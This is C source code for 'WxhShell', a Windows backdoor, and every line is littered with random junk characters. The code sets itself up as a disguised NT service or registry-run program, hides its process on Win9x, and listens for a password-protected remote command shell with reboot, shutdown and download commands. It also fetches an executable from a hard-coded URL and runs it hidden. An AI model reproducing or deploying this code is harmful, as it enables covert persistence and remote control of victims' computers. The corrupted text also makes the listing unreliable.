m3ff;,
PROCNTQSIP NtQueryInformationProcess; {^'HL
4~=l}H>&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0ksa
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?}7p"3j'z
<| &Npd'
HANDLE hProcess; ,
dp0;nkr
PROCESS_BASIC_INFORMATION pbi; lLD12d
Z=
!*e~j@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a:S -
if(NULL == hInst ) return 0; X(C$@N
PzGWff!*n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [:V$y1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %UM
*79
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5PW^j\G-f
rGkyGz8>
if (!NtQueryInformationProcess) return 0; =mGez )T5\
uGt-l4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <,(,jU)j
if(!hProcess) return 0; KYP!Rs/j.
d %#b:(,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c(%|: P^
oE~Bq/p
CloseHandle(hProcess); .~}1+\~5
'RRE|L,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }75e:w[
if(hProcess==NULL) return 0; =2 kG%9
E E'!|N3
HMODULE hMod; E"@wek.-
char procName[255]; 9/7u*>:
unsigned long cbNeeded; cAc@n6[`3
N&pCx&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 03(4 x'z
\4#W xZ
CloseHandle(hProcess); E P+J
N
Rh |nP&6
if(strstr(procName,"services")) return 1; // 以服务启动
Z<phcqEi8
bTu9;(
return 0; // 注册表启动 C
$JmzrE
} "nWw;-V}}
ERt{H3eCcJ
// 主模块 #,.Hr#3nI
int StartWxhshell(LPSTR lpCmdLine) N?>vd*
{ `@
FYkH
SOCKET wsl; f
{"?%Ku#
BOOL val=TRUE; 0LKRN|@
int port=0; s0_nLbWwO
struct sockaddr_in door; aATA9V
"Pf~iwfw
if(wscfg.ws_autoins) Install(); PuO&wI]:
hL5|69E
port=atoi(lpCmdLine); N !|wo:
YF:L)0H'O
if(port<=0) port=wscfg.ws_port; @vB!u[{
3 9|MX21k
WSADATA data; &I406Z f7y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tqk\XILG N
iyp=lLk
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yA>nli=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z~Q>V]a>;
door.sin_family = AF_INET; 4{l,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3t6LT
door.sin_port = htons(port); T5:G$-qL(
l \?c}7k
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B+0hzkPY
closesocket(wsl); hG:|9Sol,
return 1; j w9b)
} "}JZU!?
6x|jPb
if(listen(wsl,2) == INVALID_SOCKET) { $j?1g#
closesocket(wsl); }{<
'8J.R
return 1; So
5N5,u@=
} PY0j9$i?
Wxhshell(wsl); o+9j?|M
WSACleanup(); [=_jYzD,j|
6u}</>}
return 0; r)6M!_]AW
Z`BK/:vo3H
} -
CWywuD
Ib0ZjX6
// 以NT服务方式启动 nJLFfXWx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8Bg;Kh6B
{ TBrPf-Xr
DWORD status = 0; Fr$5RAyg
DWORD specificError = 0xfffffff; 2wgg7[tGi
V#}kwON
serviceStatus.dwServiceType = SERVICE_WIN32; 6Kb1~jY
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jb;hcraR
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r(2uu
serviceStatus.dwWin32ExitCode = 0; y#$CMf
-q^
serviceStatus.dwServiceSpecificExitCode = 0; e NafpK
serviceStatus.dwCheckPoint = 0; $DUZ!zaH!
serviceStatus.dwWaitHint = 0;
4YX3+oS
7`hP?a=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &(mR>
mT
if (hServiceStatusHandle==0) return; -FCe:iY! A
\_6/vZ%-B
status = GetLastError(); -7(@1@1
if (status!=NO_ERROR) [ps*uva
{ jMDY(mwt
serviceStatus.dwCurrentState = SERVICE_STOPPED; <1COZ)
serviceStatus.dwCheckPoint = 0; 9RI-Lq`
serviceStatus.dwWaitHint = 0; m<g~H4
serviceStatus.dwWin32ExitCode = status; {$Gd2gO
serviceStatus.dwServiceSpecificExitCode = specificError; c:u5\&~{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uL/m u<
return; Ji 0
tQV
} C=4Qlt[`
,<p}o\6
serviceStatus.dwCurrentState = SERVICE_RUNNING; u4|$bbig
serviceStatus.dwCheckPoint = 0; y<bDTeoo
serviceStatus.dwWaitHint = 0; Iy3GE[
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7
^mL_SMj
} FtC^5{V+V
r{%qf;
// 处理NT服务事件,比如:启动、停止 g2/8~cn8z
VOID WINAPI NTServiceHandler(DWORD fdwControl) {T
Ug.%u
{ t3Y:}%M
switch(fdwControl) }I6vqG
{ XNu^`Ha
case SERVICE_CONTROL_STOP: f:.I0 ST
serviceStatus.dwWin32ExitCode = 0; X/M4!L}\
serviceStatus.dwCurrentState = SERVICE_STOPPED; Mzw X>3x
serviceStatus.dwCheckPoint = 0; J{&H+rd
serviceStatus.dwWaitHint = 0; 5j-YM
{ A7hVHxNJ-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {3{"8-18
} ^B2
-)
return; klR|6u]%
case SERVICE_CONTROL_PAUSE: fLm*1S|%\
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7;(UF=4
break; \`\ZTZni
case SERVICE_CONTROL_CONTINUE: B i<Q=x'Z;
serviceStatus.dwCurrentState = SERVICE_RUNNING; hzbw>g+
break; Wh2tNyS
case SERVICE_CONTROL_INTERROGATE: A:9?ZI/X
break; '1)$'
}; Eue~Y+K*b
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}sO&. ME
} 2oRg 2R}
B\:%ufd
~
// 标准应用程序主函数
)sp4Ie
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h_IDO%
{ ""QP%
n`&U~s8w
// 获取操作系统版本 x6ARzH\
OsIsNt=GetOsVer(); 2q4<t:!
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7y@Pa&^8
B=A [ymm
// 从命令行安装 JyOo1E.
if(strpbrk(lpCmdLine,"iI")) Install(); c+nq] xOs'
0aa&m[Mk
// 下载执行文件 TLe~y1dwY=
if(wscfg.ws_downexe) { T+k{W6
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M8b;d}XL
WinExec(wscfg.ws_filenam,SW_HIDE); dIBE!4 V[
} >:!X.TG$
LRG6:&
if(!OsIsNt) { &wE%<"aRAl
// 如果时win9x,隐藏进程并且设置为注册表启动 o\pVp bB
HideProc(); 2nIw7>.}f
StartWxhshell(lpCmdLine); Jh[UtYb5
} BC<^a )D=
else K8.!_
c
if(StartFromService()) :#?5X|Gz
// 以服务方式启动 f|lU6EkU
StartServiceCtrlDispatcher(DispatchTable); i`$*Ty"x
else X;c'[q
// 普通方式启动 tX %5BTv
StartWxhshell(lpCmdLine); >!1.
Jrpx}2'9:a
return 0; p\ZNy\N^
} s;vHPUB\n
vf%&4\ib
I4q9|'-yx
,lA s
=========================================== 6@0OQb
Fv<F}h? 6
.KUv(-
6WJ)by
"Yj'oE%\
aAMVsE{
" C-MjJ6D<
~C`^6UQr/?
#include <stdio.h> 4'A!; ]:
#include <string.h> 2=`o_<P'"
#include <windows.h> 04l!:Tp,
#include <winsock2.h> \(Y\|zC'0$
#include <winsvc.h> e`xdSi>E
#include <urlmon.h> B%76rEpvW;
D(RTVef
#pragma comment (lib, "Ws2_32.lib") ^y1j.M@q
#pragma comment (lib, "urlmon.lib") (/j/>9iro
O7<]U_"I
#define MAX_USER 100 // 最大客户端连接数 .1Al<OLL
#define BUF_SOCK 200 // sock buffer [t@Mn
#define KEY_BUFF 255 // 输入 buffer &wCg\j_c
L(-b@Joh
#define REBOOT 0 // 重启 _JE"{ ;
#define SHUTDOWN 1 // 关机 b@f$nS
B
E:}r5S)4
#define DEF_PORT 5000 // 监听端口 k $J zH$
[knN:{ l
#define REG_LEN 16 // 注册表键长度 r^paD2&}
#define SVC_LEN 80 // NT服务名长度 ~%=MpQ3
5r8<7g:>C
// 从dll定义API lP@Ki5
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pd;br8yE$@
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i?g5_HI
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K&70{r
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?oiKVL"7
O;]?gj 1@
// wxhshell配置信息 v1.q$ f^(
struct WSCFG { 0X(]7b&~R
int ws_port; // 监听端口 GW2')}g
char ws_passstr[REG_LEN]; // 口令 1[;@AE2Y
int ws_autoins; // 安装标记, 1=yes 0=no YO:&;K%
char ws_regname[REG_LEN]; // 注册表键名 8S;CFyT\n
char ws_svcname[REG_LEN]; // 服务名 ]^\8U2q}
char ws_svcdisp[SVC_LEN]; // 服务显示名 b r,+45:
char ws_svcdesc[SVC_LEN]; // 服务描述信息 - n6jG}01b
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RX2{g^V7
int ws_downexe; // 下载执行标记, 1=yes 0=no pD@zmCU
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R& =f:sEi
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8"vwU@cfC
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}; !
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// default Wxhshell configuration YTU.$t;Ez
struct WSCFG wscfg={DEF_PORT, ;S/7 h6
"xuhuanlingzhe", BvSIM%>h
1, i`OrMzL
"Wxhshell", qU[O1bN
"Wxhshell", }o9Aa0$*$
"WxhShell Service", ]9S`[c$
"Wrsky Windows CmdShell Service", S C_|A9
"Please Input Your Password: ", u&TdWZe
1, $X+u={]
"http://www.wrsky.com/wxhshell.exe", u:`y]
"Wxhshell.exe" g3?U#7i
}; ?4)v`*
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// 消息定义模块 q?~Rnv
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZcryAm:I
char *msg_ws_prompt="\n\r? for help\n\r#>"; $~'Tf>e
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f e
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char *msg_ws_ext="\n\rExit."; o VB"f
char *msg_ws_end="\n\rQuit."; b5e@oIK
char *msg_ws_boot="\n\rReboot..."; uiBTnG"
char *msg_ws_poff="\n\rShutdown..."; I*1S/o_xI
char *msg_ws_down="\n\rSave to "; Eo{EKI1
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char *msg_ws_err="\n\rErr!"; wy4q[$.4v
char *msg_ws_ok="\n\rOK!"; zb2K;%Qs+f
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char ExeFile[MAX_PATH]; mT_GrIl[
int nUser = 0; CJqc\I~
HANDLE handles[MAX_USER]; E:VGji7s
int OsIsNt; <uF [,
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SERVICE_STATUS serviceStatus; <4D%v"zRP
SERVICE_STATUS_HANDLE hServiceStatusHandle; hr U :Wr
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// 函数声明 3DoRE2}
int Install(void); ~/`X*n&
int Uninstall(void); ?B4#f!X
int DownloadFile(char *sURL, SOCKET wsh); SQKt}kDbM
int Boot(int flag); M<